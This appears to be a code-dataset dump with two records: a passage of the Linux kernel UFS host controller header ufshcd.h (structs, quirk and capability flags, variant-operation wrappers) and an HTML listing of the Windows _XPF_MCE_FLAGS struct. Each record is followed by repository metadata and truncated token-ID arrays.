devfreq is suspended or not */ struct ufs_clk_scaling { int active_reqs; unsigned long tot_busy_t; ktime_t window_start_t; ktime_t busy_start_t; struct device_attribute enable_attr; struct ufs_saved_pwr_info saved_pwr_info; struct workqueue_struct *workq; struct work_struct suspend_work; struct work_struct resume_work; u32 min_gear; bool is_enabled; bool is_allowed; bool is_initialized; bool is_busy_started; bool is_suspended; }; #define UFS_EVENT_HIST_LENGTH 8 /** * struct ufs_event_hist - keeps history of errors * @pos: index to indicate cyclic buffer position * @reg: cyclic buffer for registers value * @tstamp: cyclic buffer for time stamp * @cnt: error counter */ struct ufs_event_hist { int pos; u32 val[UFS_EVENT_HIST_LENGTH]; ktime_t tstamp[UFS_EVENT_HIST_LENGTH]; unsigned long long cnt; }; /** * struct ufs_stats - keeps usage/err statistics * @last_intr_status: record the last interrupt status. * @last_intr_ts: record the last interrupt timestamp. * @hibern8_exit_cnt: Counter to keep track of number of exits, * reset this after link-startup. * @last_hibern8_exit_tstamp: Set time after the hibern8 exit. * Clear after the first successful command completion. */ struct ufs_stats { u32 last_intr_status; ktime_t last_intr_ts; u32 hibern8_exit_cnt; ktime_t last_hibern8_exit_tstamp; struct ufs_event_hist event[UFS_EVT_CNT]; }; /** * enum ufshcd_state - UFS host controller state * @UFSHCD_STATE_RESET: Link is not operational. Postpone SCSI command * processing. * @UFSHCD_STATE_OPERATIONAL: The host controller is operational and can process * SCSI commands. * @UFSHCD_STATE_EH_SCHEDULED_NON_FATAL: The error handler has been scheduled. * SCSI commands may be submitted to the controller. * @UFSHCD_STATE_EH_SCHEDULED_FATAL: The error handler has been scheduled. Fail * newly submitted SCSI commands with error code DID_BAD_TARGET. * @UFSHCD_STATE_ERROR: An unrecoverable error occurred, e.g. link recovery * failed. Fail all SCSI commands with error code DID_ERROR. */ enum ufshcd_state { UFSHCD_STATE_RESET, UFSHCD_STATE_OPERATIONAL, UFSHCD_STATE_EH_SCHEDULED_NON_FATAL, UFSHCD_STATE_EH_SCHEDULED_FATAL, UFSHCD_STATE_ERROR, }; enum ufshcd_quirks { /* Interrupt aggregation support is broken */ UFSHCD_QUIRK_BROKEN_INTR_AGGR = 1 << 0, /* * delay before each dme command is required as the unipro * layer has shown instabilities */ UFSHCD_QUIRK_DELAY_BEFORE_DME_CMDS = 1 << 1, /* * If UFS host controller is having issue in processing LCC (Line * Control Command) coming from device then enable this quirk. * When this quirk is enabled, host controller driver should disable * the LCC transmission on UFS device (by clearing TX_LCC_ENABLE * attribute of device to 0). */ UFSHCD_QUIRK_BROKEN_LCC = 1 << 2, /* * The attribute PA_RXHSUNTERMCAP specifies whether or not the * inbound Link supports unterminated line in HS mode. Setting this * attribute to 1 fixes moving to HS gear. */ UFSHCD_QUIRK_BROKEN_PA_RXHSUNTERMCAP = 1 << 3, /* * This quirk needs to be enabled if the host controller only allows * accessing the peer dme attributes in AUTO mode (FAST AUTO or * SLOW AUTO). */ UFSHCD_QUIRK_DME_PEER_ACCESS_AUTO_MODE = 1 << 4, /* * This quirk needs to be enabled if the host controller doesn't * advertise the correct version in UFS_VER register. If this quirk * is enabled, standard UFS host driver will call the vendor specific * ops (get_ufs_hci_version) to get the correct version. */ UFSHCD_QUIRK_BROKEN_UFS_HCI_VERSION = 1 << 5, /* * Clear handling for transfer/task request list is just opposite. */ UFSHCI_QUIRK_BROKEN_REQ_LIST_CLR = 1 << 6, /* * This quirk needs to be enabled if host controller doesn't allow * that the interrupt aggregation timer and counter are reset by s/w. */ UFSHCI_QUIRK_SKIP_RESET_INTR_AGGR = 1 << 7, /* * This quirks needs to be enabled if host controller cannot be * enabled via HCE register. */ UFSHCI_QUIRK_BROKEN_HCE = 1 << 8, /* * This quirk needs to be enabled if the host controller regards * resolution of the values of PRDTO and PRDTL in UTRD as byte. */ UFSHCD_QUIRK_PRDT_BYTE_GRAN = 1 << 9, /* * This quirk needs to be enabled if the host controller reports * OCS FATAL ERROR with device error through sense data */ UFSHCD_QUIRK_BROKEN_OCS_FATAL_ERROR = 1 << 10, /* * This quirk needs to be enabled if the host controller has * auto-hibernate capability but it doesn't work. */ UFSHCD_QUIRK_BROKEN_AUTO_HIBERN8 = 1 << 11, /* * This quirk needs to disable manual flush for write booster */ UFSHCI_QUIRK_SKIP_MANUAL_WB_FLUSH_CTRL = 1 << 12, /* * This quirk needs to disable unipro timeout values * before power mode change */ UFSHCD_QUIRK_SKIP_DEF_UNIPRO_TIMEOUT_SETTING = 1 << 13, /* * This quirk allows only sg entries aligned with page size. */ UFSHCD_QUIRK_ALIGN_SG_WITH_PAGE_SIZE = 1 << 14, }; enum ufshcd_caps { /* Allow dynamic clk gating */ UFSHCD_CAP_CLK_GATING = 1 << 0, /* Allow hiberb8 with clk gating */ UFSHCD_CAP_HIBERN8_WITH_CLK_GATING = 1 << 1, /* Allow dynamic clk scaling */ UFSHCD_CAP_CLK_SCALING = 1 << 2, /* Allow auto bkops to enabled during runtime suspend */ UFSHCD_CAP_AUTO_BKOPS_SUSPEND = 1 << 3, /* * This capability allows host controller driver to use the UFS HCI's * interrupt aggregation capability. * CAUTION: Enabling this might reduce overall UFS throughput. */ UFSHCD_CAP_INTR_AGGR = 1 << 4, /* * This capability allows the device auto-bkops to be always enabled * except during suspend (both runtime and suspend). * Enabling this capability means that device will always be allowed * to do background operation when it's active but it might degrade * the performance of ongoing read/write operations. */ UFSHCD_CAP_KEEP_AUTO_BKOPS_ENABLED_EXCEPT_SUSPEND = 1 << 5, /* * This capability allows host controller driver to automatically * enable runtime power management by itself instead of waiting * for userspace to control the power management. */ UFSHCD_CAP_RPM_AUTOSUSPEND = 1 << 6, /* * This capability allows the host controller driver to turn-on * WriteBooster, if the underlying device supports it and is * provisioned to be used. This would increase the write performance. */ UFSHCD_CAP_WB_EN = 1 << 7, /* * This capability allows the host controller driver to use the * inline crypto engine, if it is present */ UFSHCD_CAP_CRYPTO = 1 << 8, /* * This capability allows the controller regulators to be put into * lpm mode aggressively during clock gating. * This would increase power savings. */ UFSHCD_CAP_AGGR_POWER_COLLAPSE = 1 << 9, /* * This capability allows the host controller driver to use DeepSleep, * if it is supported by the UFS device. The host controller driver must * support device hardware reset via the hba->device_reset() callback, * in order to exit DeepSleep state. */ UFSHCD_CAP_DEEPSLEEP = 1 << 10, /* * This capability allows the host controller driver to use temperature * notification if it is supported by the UFS device. */ UFSHCD_CAP_TEMP_NOTIF = 1 << 11, }; struct ufs_hba_variant_params { struct devfreq_dev_profile devfreq_profile; struct devfreq_simple_ondemand_data ondemand_data; u16 hba_enable_delay_us; u32 wb_flush_threshold; }; #ifdef CONFIG_SCSI_UFS_HPB /** * struct ufshpb_dev_info - UFSHPB device related info * @num_lu: the number of user logical unit to check whether all lu finished * initialization * @rgn_size: device reported HPB region size * @srgn_size: device reported HPB sub-region size * @slave_conf_cnt: counter to check all lu finished initialization * @hpb_disabled: flag to check if HPB is disabled * @max_hpb_single_cmd: device reported bMAX_DATA_SIZE_FOR_SINGLE_CMD value * @is_legacy: flag to check HPB 1.0 * @control_mode: either host or device */ struct ufshpb_dev_info { int num_lu; int rgn_size; int srgn_size; atomic_t slave_conf_cnt; bool hpb_disabled; u8 max_hpb_single_cmd; bool is_legacy; u8 control_mode; }; #endif struct ufs_hba_monitor { unsigned long chunk_size; unsigned long nr_sec_rw[2]; ktime_t total_busy[2]; unsigned long nr_req[2]; /* latencies*/ ktime_t lat_sum[2]; ktime_t lat_max[2]; ktime_t lat_min[2]; u32 nr_queued[2]; ktime_t busy_start_ts[2]; ktime_t enabled_ts; bool enabled; }; /** * struct ufs_hba - per adapter private structure * @mmio_base: UFSHCI base register address * @ucdl_base_addr: UFS Command Descriptor base address * @utrdl_base_addr: UTP Transfer Request Descriptor base address * @utmrdl_base_addr: UTP Task Management Descriptor base address * @ucdl_dma_addr: UFS Command Descriptor DMA address * @utrdl_dma_addr: UTRDL DMA address * @utmrdl_dma_addr: UTMRDL DMA address * @host: Scsi_Host instance of the driver * @dev: device handle * @lrb: local reference block * @cmd_queue: Used to allocate command tags from hba->host->tag_set. * @outstanding_tasks: Bits representing outstanding task requests * @outstanding_lock: Protects @outstanding_reqs. * @outstanding_reqs: Bits representing outstanding transfer requests * @capabilities: UFS Controller Capabilities * @nutrs: Transfer Request Queue depth supported by controller * @nutmrs: Task Management Queue depth supported by controller * @ufs_version: UFS Version to which controller complies * @vops: pointer to variant specific operations * @priv: pointer to variant specific private data * @irq: Irq number of the controller * @active_uic_cmd: handle of active UIC command * @uic_cmd_mutex: mutex for UIC command * @tmf_tag_set: TMF tag set. * @tmf_queue: Used to allocate TMF tags. * @pwr_done: completion for power mode change * @ufshcd_state: UFSHCD state * @eh_flags: Error handling flags * @intr_mask: Interrupt Mask Bits * @ee_ctrl_mask: Exception event control mask * @is_powered: flag to check if HBA is powered * @shutting_down: flag to check if shutdown has been invoked * @host_sem: semaphore used to serialize concurrent contexts * @eh_wq: Workqueue that eh_work works on * @eh_work: Worker to handle UFS errors that require s/w attention * @eeh_work: Worker to handle exception events * @errors: HBA errors * @uic_error: UFS interconnect layer error status * @saved_err: sticky error mask * @saved_uic_err: sticky UIC error mask * @force_reset: flag to force eh_work perform a full reset * @force_pmc: flag to force a power mode change * @silence_err_logs: flag to silence error logs * @dev_cmd: ufs device management command information * @last_dme_cmd_tstamp: time stamp of the last completed DME command * @auto_bkops_enabled: to track whether bkops is enabled in device * @vreg_info: UFS device voltage regulator information * @clk_list_head: UFS host controller clocks list node head * @pwr_info: holds current power mode * @max_pwr_info: keeps the device max valid pwm * @desc_size: descriptor sizes reported by device * @urgent_bkops_lvl: keeps track of urgent bkops level for device * @is_urgent_bkops_lvl_checked: keeps track if the urgent bkops level for * device is known or not. * @scsi_block_reqs_cnt: reference counting for scsi block requests * @crypto_capabilities: Content of crypto capabilities register (0x100) * @crypto_cap_array: Array of crypto capabilities * @crypto_cfg_register: Start of the crypto cfg array * @crypto_profile: the crypto profile of this hba (if applicable) */ struct ufs_hba { void __iomem *mmio_base; /* Virtual memory reference */ struct utp_transfer_cmd_desc *ucdl_base_addr; struct utp_transfer_req_desc *utrdl_base_addr; struct utp_task_req_desc *utmrdl_base_addr; /* DMA memory reference */ dma_addr_t ucdl_dma_addr; dma_addr_t utrdl_dma_addr; dma_addr_t utmrdl_dma_addr; struct Scsi_Host *host; struct device *dev; struct request_queue *cmd_queue; /* * This field is to keep a reference to "scsi_device" corresponding to * "UFS device" W-LU. */ struct scsi_device *sdev_ufs_device; struct scsi_device *sdev_rpmb; #ifdef CONFIG_SCSI_UFS_HWMON struct device *hwmon_device; #endif enum ufs_dev_pwr_mode curr_dev_pwr_mode; enum uic_link_state uic_link_state; /* Desired UFS power management level during runtime PM */ enum ufs_pm_level rpm_lvl; /* Desired UFS power management level during system PM */ enum ufs_pm_level spm_lvl; struct device_attribute rpm_lvl_attr; struct device_attribute spm_lvl_attr; int pm_op_in_progress; /* Auto-Hibernate Idle Timer register value */ u32 ahit; struct ufshcd_lrb *lrb; unsigned long outstanding_tasks; spinlock_t outstanding_lock; unsigned long outstanding_reqs; u32 capabilities; int nutrs; int nutmrs; u32 ufs_version; const struct ufs_hba_variant_ops *vops; struct ufs_hba_variant_params *vps; void *priv; unsigned int irq; bool is_irq_enabled; enum ufs_ref_clk_freq dev_ref_clk_freq; unsigned int quirks; /* Deviations from standard UFSHCI spec. */ /* Device deviations from standard UFS device spec. */ unsigned int dev_quirks; struct blk_mq_tag_set tmf_tag_set; struct request_queue *tmf_queue; struct request **tmf_rqs; struct uic_command *active_uic_cmd; struct mutex uic_cmd_mutex; struct completion *uic_async_done; enum ufshcd_state ufshcd_state; u32 eh_flags; u32 intr_mask; u16 ee_ctrl_mask; /* Exception event mask */ u16 ee_drv_mask; /* Exception event mask for driver */ u16 ee_usr_mask; /* Exception event mask for user (via debugfs) */ struct mutex ee_ctrl_mutex; bool is_powered; bool shutting_down; struct semaphore host_sem; /* Work Queues */ struct workqueue_struct *eh_wq; struct work_struct eh_work; struct work_struct eeh_work; /* HBA Errors */ u32 errors; u32 uic_error; u32 saved_err; u32 saved_uic_err; struct ufs_stats ufs_stats; bool force_reset; bool force_pmc; bool silence_err_logs; /* Device management request data */ struct ufs_dev_cmd dev_cmd; ktime_t last_dme_cmd_tstamp; int nop_out_timeout; /* Keeps information of the UFS device connected to this host */ struct ufs_dev_info dev_info; bool auto_bkops_enabled; struct ufs_vreg_info vreg_info; struct list_head clk_list_head; /* Number of requests aborts */ int req_abort_count; /* Number of lanes available (1 or 2) for Rx/Tx */ u32 lanes_per_direction; struct ufs_pa_layer_attr pwr_info; struct ufs_pwr_mode_info max_pwr_info; struct ufs_clk_gating clk_gating; /* Control to enable/disable host capabilities */ u32 caps; struct devfreq *devfreq; struct ufs_clk_scaling clk_scaling; bool is_sys_suspended; enum bkops_status urgent_bkops_lvl; bool is_urgent_bkops_lvl_checked; struct rw_semaphore clk_scaling_lock; unsigned char desc_size[QUERY_DESC_IDN_MAX]; atomic_t scsi_block_reqs_cnt; struct device bsg_dev; struct request_queue *bsg_queue; struct delayed_work rpm_dev_flush_recheck_work; #ifdef CONFIG_SCSI_UFS_HPB struct ufshpb_dev_info ufshpb_dev; #endif struct ufs_hba_monitor monitor; #ifdef CONFIG_SCSI_UFS_CRYPTO union ufs_crypto_capabilities crypto_capabilities; union ufs_crypto_cap_entry *crypto_cap_array; u32 crypto_cfg_register; struct blk_crypto_profile crypto_profile; #endif #ifdef CONFIG_DEBUG_FS struct dentry *debugfs_root; struct delayed_work debugfs_ee_work; u32 debugfs_ee_rate_limit_ms; #endif u32 luns_avail; bool complete_put; }; /* Returns true if clocks can be gated. Otherwise false */ static inline bool ufshcd_is_clkgating_allowed(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_CLK_GATING; } static inline bool ufshcd_can_hibern8_during_gating(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_HIBERN8_WITH_CLK_GATING; } static inline int ufshcd_is_clkscaling_supported(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_CLK_SCALING; } static inline bool ufshcd_can_autobkops_during_suspend(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_AUTO_BKOPS_SUSPEND; } static inline bool ufshcd_is_rpm_autosuspend_allowed(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_RPM_AUTOSUSPEND; } static inline bool ufshcd_is_intr_aggr_allowed(struct ufs_hba *hba) { return (hba->caps & UFSHCD_CAP_INTR_AGGR) && !(hba->quirks & UFSHCD_QUIRK_BROKEN_INTR_AGGR); } static inline bool ufshcd_can_aggressive_pc(struct ufs_hba *hba) { return !!(ufshcd_is_link_hibern8(hba) && (hba->caps & UFSHCD_CAP_AGGR_POWER_COLLAPSE)); } static inline bool ufshcd_is_auto_hibern8_supported(struct ufs_hba *hba) { return (hba->capabilities & MASK_AUTO_HIBERN8_SUPPORT) && !(hba->quirks & UFSHCD_QUIRK_BROKEN_AUTO_HIBERN8); } static inline bool ufshcd_is_auto_hibern8_enabled(struct ufs_hba *hba) { return FIELD_GET(UFSHCI_AHIBERN8_TIMER_MASK, hba->ahit) ? true : false; } static inline bool ufshcd_is_wb_allowed(struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_WB_EN; } static inline bool ufshcd_is_user_access_allowed(struct ufs_hba *hba) { return !hba->shutting_down; } #define ufshcd_writel(hba, val, reg) \ writel((val), (hba)->mmio_base + (reg)) #define ufshcd_readl(hba, reg) \ readl((hba)->mmio_base + (reg)) /** * ufshcd_rmwl - read modify write into a register * @hba - per adapter instance * @mask - mask to apply on read value * @val - actual value to write * @reg - register address */ static inline void ufshcd_rmwl(struct ufs_hba *hba, u32 mask, u32 val, u32 reg) { u32 tmp; tmp = ufshcd_readl(hba, reg); tmp &= ~mask; tmp |= (val & mask); ufshcd_writel(hba, tmp, reg); } int ufshcd_alloc_host(struct device *, struct ufs_hba **); void ufshcd_dealloc_host(struct ufs_hba *); int ufshcd_hba_enable(struct ufs_hba *hba); int ufshcd_init(struct ufs_hba *, void __iomem *, unsigned int); int ufshcd_link_recovery(struct ufs_hba *hba); int ufshcd_make_hba_operational(struct ufs_hba *hba); void ufshcd_remove(struct ufs_hba *); int ufshcd_uic_hibern8_enter(struct ufs_hba *hba); int ufshcd_uic_hibern8_exit(struct ufs_hba *hba); void ufshcd_delay_us(unsigned long us, unsigned long tolerance); int ufshcd_wait_for_register(struct ufs_hba *hba, u32 reg, u32 mask, u32 val, unsigned long interval_us, unsigned long timeout_ms); void ufshcd_parse_dev_ref_clk_freq(struct ufs_hba *hba, struct clk *refclk); void ufshcd_update_evt_hist(struct ufs_hba *hba, u32 id, u32 val); void ufshcd_hba_stop(struct ufs_hba *hba); static inline void check_upiu_size(void) { BUILD_BUG_ON(ALIGNED_UPIU_SIZE < GENERAL_UPIU_REQUEST_SIZE + QUERY_DESC_MAX_SIZE); } /** * ufshcd_set_variant - set variant specific data to the hba * @hba - per adapter instance * @variant - pointer to variant specific data */ static inline void ufshcd_set_variant(struct ufs_hba *hba, void *variant) { BUG_ON(!hba); hba->priv = variant; } /** * ufshcd_get_variant - get variant specific data from the hba * @hba - per adapter instance */ static inline void *ufshcd_get_variant(struct ufs_hba *hba) { BUG_ON(!hba); return hba->priv; } static inline bool ufshcd_keep_autobkops_enabled_except_suspend( struct ufs_hba *hba) { return hba->caps & UFSHCD_CAP_KEEP_AUTO_BKOPS_ENABLED_EXCEPT_SUSPEND; } static inline u8 ufshcd_wb_get_query_index(struct ufs_hba *hba) { if (hba->dev_info.wb_buffer_type == WB_BUF_MODE_LU_DEDICATED) return hba->dev_info.wb_dedicated_lu; return 0; } #ifdef CONFIG_SCSI_UFS_HWMON void ufs_hwmon_probe(struct ufs_hba *hba, u8 mask); void ufs_hwmon_remove(struct ufs_hba *hba); void ufs_hwmon_notify_event(struct ufs_hba *hba, u8 ee_mask); #else static inline void ufs_hwmon_probe(struct ufs_hba *hba, u8 mask) {} static inline void ufs_hwmon_remove(struct ufs_hba *hba) {} static inline void ufs_hwmon_notify_event(struct ufs_hba *hba, u8 ee_mask) {} #endif #ifdef CONFIG_PM extern int ufshcd_runtime_suspend(struct device *dev); extern int ufshcd_runtime_resume(struct device *dev); #endif #ifdef CONFIG_PM_SLEEP extern int ufshcd_system_suspend(struct device *dev); extern int ufshcd_system_resume(struct device *dev); #endif extern int ufshcd_shutdown(struct ufs_hba *hba); extern int ufshcd_dme_configure_adapt(struct ufs_hba *hba, int agreed_gear, int adapt_val); extern int ufshcd_dme_set_attr(struct ufs_hba *hba, u32 attr_sel, u8 attr_set, u32 mib_val, u8 peer); extern int ufshcd_dme_get_attr(struct ufs_hba *hba, u32 attr_sel, u32 *mib_val, u8 peer); extern int ufshcd_config_pwr_mode(struct ufs_hba *hba, struct ufs_pa_layer_attr *desired_pwr_mode); /* UIC command interfaces for DME primitives */ #define DME_LOCAL 0 #define DME_PEER 1 #define ATTR_SET_NOR 0 /* NORMAL */ #define ATTR_SET_ST 1 /* STATIC */ static inline int ufshcd_dme_set(struct ufs_hba *hba, u32 attr_sel, u32 mib_val) { return ufshcd_dme_set_attr(hba, attr_sel, ATTR_SET_NOR, mib_val, DME_LOCAL); } static inline int ufshcd_dme_st_set(struct ufs_hba *hba, u32 attr_sel, u32 mib_val) { return ufshcd_dme_set_attr(hba, attr_sel, ATTR_SET_ST, mib_val, DME_LOCAL); } static inline int ufshcd_dme_peer_set(struct ufs_hba *hba, u32 attr_sel, u32 mib_val) { return ufshcd_dme_set_attr(hba, attr_sel, ATTR_SET_NOR, mib_val, DME_PEER); } static inline int ufshcd_dme_peer_st_set(struct ufs_hba *hba, u32 attr_sel, u32 mib_val) { return ufshcd_dme_set_attr(hba, attr_sel, ATTR_SET_ST, mib_val, DME_PEER); } static inline int ufshcd_dme_get(struct ufs_hba *hba, u32 attr_sel, u32 *mib_val) { return ufshcd_dme_get_attr(hba, attr_sel, mib_val, DME_LOCAL); } static inline int ufshcd_dme_peer_get(struct ufs_hba *hba, u32 attr_sel, u32 *mib_val) { return ufshcd_dme_get_attr(hba, attr_sel, mib_val, DME_PEER); } static inline bool ufshcd_is_hs_mode(struct ufs_pa_layer_attr *pwr_info) { return (pwr_info->pwr_rx == FAST_MODE || pwr_info->pwr_rx == FASTAUTO_MODE) && (pwr_info->pwr_tx == FAST_MODE || pwr_info->pwr_tx == FASTAUTO_MODE); } static inline int ufshcd_disable_host_tx_lcc(struct ufs_hba *hba) { return ufshcd_dme_set(hba, UIC_ARG_MIB(PA_LOCAL_TX_LCC_ENABLE), 0); } /* Expose Query-Request API */ int ufshcd_query_descriptor_retry(struct ufs_hba *hba, enum query_opcode opcode, enum desc_idn idn, u8 index, u8 selector, u8 *desc_buf, int *buf_len); int ufshcd_read_desc_param(struct ufs_hba *hba, enum desc_idn desc_id, int desc_index, u8 param_offset, u8 *param_read_buf, u8 param_size); int ufshcd_query_attr_retry(struct ufs_hba *hba, enum query_opcode opcode, enum attr_idn idn, u8 index, u8 selector, u32 *attr_val); int ufshcd_query_attr(struct ufs_hba *hba, enum query_opcode opcode, enum attr_idn idn, u8 index, u8 selector, u32 *attr_val); int ufshcd_query_flag(struct ufs_hba *hba, enum query_opcode opcode, enum flag_idn idn, u8 index, bool *flag_res); void ufshcd_auto_hibern8_enable(struct ufs_hba *hba); void ufshcd_auto_hibern8_update(struct ufs_hba *hba, u32 ahit); void ufshcd_fixup_dev_quirks(struct ufs_hba *hba, struct ufs_dev_fix *fixups); #define SD_ASCII_STD true #define SD_RAW false int ufshcd_read_string_desc(struct ufs_hba *hba, u8 desc_index, u8 **buf, bool ascii); int ufshcd_hold(struct ufs_hba *hba, bool async); void ufshcd_release(struct ufs_hba *hba); void ufshcd_map_desc_id_to_length(struct ufs_hba *hba, enum desc_idn desc_id, int *desc_length); u32 ufshcd_get_local_unipro_ver(struct ufs_hba *hba); int ufshcd_send_uic_cmd(struct ufs_hba *hba, struct uic_command *uic_cmd); int ufshcd_exec_raw_upiu_cmd(struct ufs_hba *hba, struct utp_upiu_req *req_upiu, struct utp_upiu_req *rsp_upiu, int msgcode, u8 *desc_buff, int *buff_len, enum query_opcode desc_op); int ufshcd_wb_toggle(struct ufs_hba *hba, bool enable); int ufshcd_suspend_prepare(struct device *dev); void ufshcd_resume_complete(struct device *dev); /* Wrapper functions for safely calling variant operations */ static inline const char *ufshcd_get_var_name(struct ufs_hba *hba) { if (hba->vops) return hba->vops->name; return ""; } static inline int ufshcd_vops_init(struct ufs_hba *hba) { if (hba->vops && hba->vops->init) return hba->vops->init(hba); return 0; } static inline void ufshcd_vops_exit(struct ufs_hba *hba) { if (hba->vops && hba->vops->exit) return hba->vops->exit(hba); } static inline u32 ufshcd_vops_get_ufs_hci_version(struct ufs_hba *hba) { if (hba->vops && hba->vops->get_ufs_hci_version) return hba->vops->get_ufs_hci_version(hba); return ufshcd_readl(hba, REG_UFS_VERSION); } static inline int ufshcd_vops_clk_scale_notify(struct ufs_hba *hba, bool up, enum ufs_notify_change_status status) { if (hba->vops && hba->vops->clk_scale_notify) return hba->vops->clk_scale_notify(hba, up, status); return 0; } static inline void ufshcd_vops_event_notify(struct ufs_hba *hba, enum ufs_event_type evt, void *data) { if (hba->vops && hba->vops->event_notify) hba->vops->event_notify(hba, evt, data); } static inline int ufshcd_vops_setup_clocks(struct ufs_hba *hba, bool on, enum ufs_notify_change_status status) { if (hba->vops && hba->vops->setup_clocks) return hba->vops->setup_clocks(hba, on, status); return 0; } static inline int ufshcd_vops_hce_enable_notify(struct ufs_hba *hba, bool status) { if (hba->vops && hba->vops->hce_enable_notify) return hba->vops->hce_enable_notify(hba, status); return 0; } static inline int ufshcd_vops_link_startup_notify(struct ufs_hba *hba, bool status) { if (hba->vops && hba->vops->link_startup_notify) return hba->vops->link_startup_notify(hba, status); return 0; } static inline int ufshcd_vops_phy_initialization(struct ufs_hba *hba) { if (hba->vops && hba->vops->phy_initialization) return hba->vops->phy_initialization(hba); return 0; } static inline int ufshcd_vops_pwr_change_notify(struct ufs_hba *hba, enum ufs_notify_change_status status, struct ufs_pa_layer_attr *dev_max_params, struct ufs_pa_layer_attr *dev_req_params) { if (hba->vops && hba->vops->pwr_change_notify) return hba->vops->pwr_change_notify(hba, status, dev_max_params, dev_req_params); return -ENOTSUPP; } static inline void ufshcd_vops_setup_task_mgmt(struct ufs_hba *hba, int tag, u8 tm_function) { if (hba->vops && hba->vops->setup_task_mgmt) return hba->vops->setup_task_mgmt(hba, tag, tm_function); } static inline void ufshcd_vops_hibern8_notify(struct ufs_hba *hba, enum uic_cmd_dme cmd, enum ufs_notify_change_status status) { if (hba->vops && hba->vops->hibern8_notify) return hba->vops->hibern8_notify(hba, cmd, status); } static inline int ufshcd_vops_apply_dev_quirks(struct ufs_hba *hba) { if (hba->vops && hba->vops->apply_dev_quirks) return hba->vops->apply_dev_quirks(hba); return 0; } static inline void ufshcd_vops_fixup_dev_quirks(struct ufs_hba *hba) { if (hba->vops && hba->vops->fixup_dev_quirks) hba->vops->fixup_dev_quirks(hba); } static inline int ufshcd_vops_suspend(struct ufs_hba *hba, enum ufs_pm_op op, enum ufs_notify_change_status status) { if (hba->vops && hba->vops->suspend) return hba->vops->suspend(hba, op, status); return 0; } static inline int ufshcd_vops_resume(struct ufs_hba *hba, enum ufs_pm_op op) { if (hba->vops && hba->vops->resume) return hba->vops->resume(hba, op); return 0; } static inline void ufshcd_vops_dbg_register_dump(struct ufs_hba *hba) { if (hba->vops && hba->vops->dbg_register_dump) hba->vops->dbg_register_dump(hba); } static inline int ufshcd_vops_device_reset(struct ufs_hba *hba) { if (hba->vops && hba->vops->device_reset) return hba->vops->device_reset(hba); return -EOPNOTSUPP; } static inline void ufshcd_vops_config_scaling_param(struct ufs_hba *hba, struct devfreq_dev_profile *profile, void *data) { if (hba->vops && hba->vops->config_scaling_param) hba->vops->config_scaling_param(hba, profile, data); } extern struct ufs_pm_lvl_states ufs_pm_lvl_states[]; /* * ufshcd_scsi_to_upiu_lun - maps scsi LUN to UPIU LUN * @scsi_lun: scsi LUN id * * Returns UPIU LUN id */ static inline u8 ufshcd_scsi_to_upiu_lun(unsigned int scsi_lun) { if (scsi_is_wlun(scsi_lun)) return (scsi_lun & UFS_UPIU_MAX_UNIT_NUM_ID) | UFS_UPIU_WLUN_ID; else return scsi_lun & UFS_UPIU_MAX_UNIT_NUM_ID; } int ufshcd_dump_regs(struct ufs_hba *hba, size_t offset, size_t len, const char *prefix); int __ufshcd_write_ee_control(struct ufs_hba *hba, u32 ee_ctrl_mask); int ufshcd_write_ee_control(struct ufs_hba *hba); int ufshcd_update_ee_control(struct ufs_hba *hba, u16 *mask, u16 *other_mask, u16 set, u16 clr); static inline int ufshcd_update_ee_drv_mask(struct ufs_hba *hba, u16 set, u16 clr) { return ufshcd_update_ee_control(hba, &hba->ee_drv_mask, &hba->ee_usr_mask, set, clr); } static inline int ufshcd_update_ee_usr_mask(struct ufs_hba *hba, u16 set, u16 clr) { return ufshcd_update_ee_control(hba, &hba->ee_usr_mask, &hba->ee_drv_mask, set, clr); } static inline int ufshcd_rpm_get_sync(struct ufs_hba *hba) { return pm_runtime_get_sync(&hba->sdev_ufs_device->sdev_gendev); } static inline int ufshcd_rpm_put_sync(struct ufs_hba *hba) { return pm_runtime_put_sync(&hba->sdev_ufs_device->sdev_gendev); } static inline int ufshcd_rpm_put(struct ufs_hba *hba) { return pm_runtime_put(&hba->sdev_ufs_device->sdev_gendev); } #endif /* End of Header */
mpe/powerpc
drivers/scsi/ufs/ufshcd.h
C
gpl-2.0
42,972
[ 30522, 1013, 1008, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1016, 1012, 1014, 1011, 2030, 1011, 2101, 1008, 1013, 1013, 1008, 1008, 5415, 5956, 5527, 3677, 11486, 4062, 1008, 9385, 1006, 1039, 1007, 2249, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<html><body> <h4>Windows 10 x64 (19041.508)</h4><br> <h2>_XPF_MCE_FLAGS</h2> <font face="arial"> +0x000 MCG_CapabilityRW : Pos 0, 1 Bit<br> +0x000 MCG_GlobalControlRW : Pos 1, 1 Bit<br> +0x000 Reserved : Pos 2, 30 Bits<br> +0x000 AsULONG : Uint4B<br> </font></body></html>
epikcraw/ggool
public/Windows 10 x64 (19041.508)/_XPF_MCE_FLAGS.html
HTML
mit
307
[ 30522, 1026, 16129, 1028, 1026, 2303, 1028, 1026, 1044, 2549, 1028, 3645, 2184, 1060, 21084, 1006, 5692, 2487, 1012, 2753, 2620, 1007, 1026, 1013, 1044, 2549, 1028, 1026, 7987, 1028, 1026, 1044, 2475, 1028, 1035, 26726, 2546, 1035, 11338, ...
